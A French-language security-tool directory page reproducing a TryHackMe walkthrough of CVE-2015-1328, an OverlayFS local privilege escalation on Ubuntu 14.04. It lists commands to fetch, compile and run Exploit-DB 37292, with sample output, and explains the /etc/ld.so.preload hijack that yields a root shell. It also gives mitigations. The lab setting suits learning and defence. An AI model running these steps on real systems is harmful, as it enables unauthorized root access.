Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2015-1328 — Procédure pas à pas pour exploiter CVE-2015-1328 (OverlayFS) afin d'élever les privilèges d'un utilisateur à faibles privilèges à root sur Ubuntu 14.04. Comprend l'énumération, la compilation et l'exécution de l'exploit. | Kitploit
Outils/GitHubGitHub/fernandocassiodev/cve-2015-1328
Escalade de PrivilègesExploitationCTFApprentissage et ÉducationExploitation de BinairesLabs et Pratique
GitHubfernandocassiodev/cve-2015-1328

CVE-2015-1328

Procédure pas à pas pour exploiter CVE-2015-1328 (OverlayFS) afin d'élever les privilèges d'un utilisateur à faibles privilèges à root sur Ubuntu 14.04. Comprend l'énumération, la compilation et l'exécution de l'exploit.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
2il y a 1 moisPas encore vérifié

CVE-2015-1328

Procédure pas à pas TryHackMe – Élévation de privilèges du noyau Linux (CVE-2015-1328)

Objectif

L'objectif de cette procédure pas à pas était d'élever les privilèges d'un utilisateur à faibles privilèges (karen) jusqu'à root en exploitant un noyau Linux vulnérable.


Étape 1 – Énumération initiale

Après connexion à la machine cible via SSH :

root@kitploit:~
ssh karen@<target-ip>

J'ai identifié la version du noyau Linux :

root@kitploit:~
uname -r

Sortie :

root@kitploit:~
3.13.0-24-generic

La machine exécutait Ubuntu 14.04 avec le noyau 3.13.0-24-generic.


Étape 2 – Recherche de vulnérabilités du noyau

Comme l'élévation de privilèges sous Linux repose souvent sur des noyaux vulnérables, j'ai effectué une recherche dans Exploit-DB à l'aide de SearchSploit :

root@kitploit:~
searchsploit overlayfs ubuntu 3.13

Résultat :

root@kitploit:~
Linux Kernel 3.13.0 < 3.19 (Ubuntu...) - overlayfs Local Privilege Escalation
37292.c

Cet exploit cible CVE-2015-1328, qui affecte les noyaux Ubuntu antérieurs aux versions corrigées.


Étape 3 – Comprendre la vulnérabilité

Avant d'exécuter un exploit, il est important de comprendre ce qu'il fait.

L'exploit tire parti d'une faille dans OverlayFS, le système de fichiers union de Linux.

La vulnérabilité existe parce qu'OverlayFS gère incorrectement les permissions des fichiers lorsqu'il est monté dans un espace de noms utilisateur (CLONE_NEWUSER).

Un utilisateur sans privilèges peut manipuler OverlayFS pour créer ou modifier des fichiers qui ne devraient être accessibles en écriture que par root.

L'exploit écrit finalement dans :

root@kitploit:~
/etc/ld.so.preload

Ce fichier indique au chargeur dynamique de Linux de charger une bibliothèque partagée avant chaque exécutable à liaison dynamique.

En forçant le système à charger une bibliothèque partagée malveillante, l'exploit obtient une exécution de code en tant que root.


Étape 4 – Obtenir l'exploit

À l'aide de SearchSploit :

root@kitploit:~
searchsploit -m 37292

Ceci a copié l'exploit localement :

root@kitploit:~
37292.c

L'exploit a ensuite été transféré sur la machine victime.

Dans cette procédure pas à pas, il a été enregistré sous :

root@kitploit:~
/tmp/ofs.c

Étape 5 – Compiler l'exploit

Placez-vous dans le répertoire contenant l'exploit :

root@kitploit:~
cd /tmp

Compilez-le avec GCC :

root@kitploit:~
gcc ofs.c -o ofs

Si la compilation réussit, GCC ne produit aucune sortie.

Vérifiez que l'exécutable existe :

root@kitploit:~
ls -l

Résultat attendu :

root@kitploit:~
-rwxr-xr-x ... ofs

Étape 6 – Exécuter l'exploit

Exécutez l'exécutable :

root@kitploit:~
./ofs

L'exploit affiche des messages similaires à :

root@kitploit:~
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library

Enfin, il lance un shell root :

root@kitploit:~
#

Vérifiez les privilèges :

root@kitploit:~
id

Sortie :

root@kitploit:~
uid=0(root) gid=0(root)

Étape 7 – Récupérer le flag

Une fois les privilèges root obtenus :

root@kitploit:~
cat /home/matt/flag1.txt

Le fichier pouvait désormais être lu avec succès.


Comment fonctionne l'exploit

L'exploit effectue plusieurs actions en interne.

1. Crée un espace de noms utilisateur

root@kitploit:~
unshare(CLONE_NEWUSER);

Les espaces de noms utilisateur Linux permettent à un processus sans privilèges d'apparaître comme root à l'intérieur de l'espace de noms, sans être root sur l'hôte.

Cette capacité est essentielle pour l'attaque.


2. Crée un espace de noms de montage

root@kitploit:~
clone(... CLONE_NEWNS ...)

Un espace de noms de montage séparé isole les modifications du système de fichiers du reste du système d'exploitation.

Cela permet à l'exploit de monter OverlayFS sans affecter le système de fichiers global.


3. Monte OverlayFS

L'exploit crée des répertoires temporaires :

root@kitploit:~
/tmp/ns_sploit/
├── upper/
├── work/
└── o/

Il monte ensuite OverlayFS :

root@kitploit:~
Lower Layer
      │
      ▼
OverlayFS
      │
      ▼
Upper Layer

En raison de la vulnérabilité du noyau, OverlayFS autorise incorrectement des opérations qui devraient nécessiter des privilèges root.


4. Crée /etc/ld.so.preload

L'exploit renomme un fichier accessible en écriture dans le montage OverlayFS en :

root@kitploit:~
ld.so.preload

Après avoir remonté OverlayFS sur /etc, ce fichier devient :

root@kitploit:~
/etc/ld.so.preload

Normalement, seul root devrait pouvoir créer ce fichier.


5. Construit une bibliothèque partagée malveillante

L'exploit écrit un fichier source C :

root@kitploit:~
/tmp/ofs-lib.c

Puis le compile :

root@kitploit:~
gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c

La bibliothèque partagée obtenue remplace la fonction getuid().


6. Détourne le chargeur dynamique

L'exploit écrit :

root@kitploit:~
/tmp/ofs-lib.so

dans :

root@kitploit:~
/etc/ld.so.preload

Chaque exécutable à liaison dynamique charge désormais cette bibliothèque malveillante avant toute bibliothèque système.


7. Exécute /bin/su

Enfin :

root@kitploit:~
execl("/bin/su", "su", NULL);

Lorsque su démarre, la fonction malveillante getuid() s'exécute à la place de la fonction d'origine.

La bibliothèque :

  • supprime /etc/ld.so.preload
  • supprime la bibliothèque partagée malveillante
  • appelle :
root@kitploit:~
setresuid(0,0,0);
setresgid(0,0,0);
  • lance :
root@kitploit:~
/bin/sh

Le résultat est un shell root interactif.


Pourquoi cela fonctionne

La vulnérabilité est causée par une gestion incorrecte des permissions dans OverlayFS lorsqu'il est utilisé dans des espaces de noms utilisateur.

Un utilisateur sans privilèges peut manipuler OverlayFS pour créer des fichiers privilégiés tels que :

root@kitploit:~
/etc/ld.so.preload

Comme le chargeur dynamique fait confiance à ce fichier, du code arbitraire est exécuté en tant que root.


Atténuation

Cette vulnérabilité a été corrigée par Ubuntu dans les versions mises à jour du noyau.

Les stratégies d'atténuation incluent :

  • Mettre à jour le noyau Linux vers une version corrigée.
  • Désactiver les espaces de noms utilisateur sans privilèges lorsqu'ils ne sont pas nécessaires.
  • Restreindre l'utilisation d'OverlayFS.
  • Appliquer régulièrement les mises à jour de sécurité.
  • Surveiller les modifications non autorisées de :
    • /etc/ld.so.preload
    • /etc/ld.so.cache

Points clés à retenir

  • Toujours énumérer la version du noyau lors d'une élévation de privilèges sous Linux.
  • Vérifier si la version du noyau est vulnérable avant de tenter une exploitation.
  • Lire et comprendre le code de l'exploit avant de l'exécuter.
  • Les exploits du noyau peuvent mener directement aux privilèges root, mais peuvent aussi faire planter le système cible.
  • Dans les tests d'intrusion réels, l'exploitation du noyau ne doit être tentée que lorsqu'elle est explicitement autorisée, en raison de l'impact potentiel sur la stabilité du système.

Commandes utilisées

root@kitploit:~
# Enumerate kernel version
uname -r

# Search for exploit
searchsploit overlayfs ubuntu 3.13

# Copy exploit locally
searchsploit -m 37292

# Compile exploit
gcc ofs.c -o ofs

# Execute exploit
./ofs

# Verify privileges
id

# Read flag
cat /home/matt/flag1.txt
Télécharger l’outil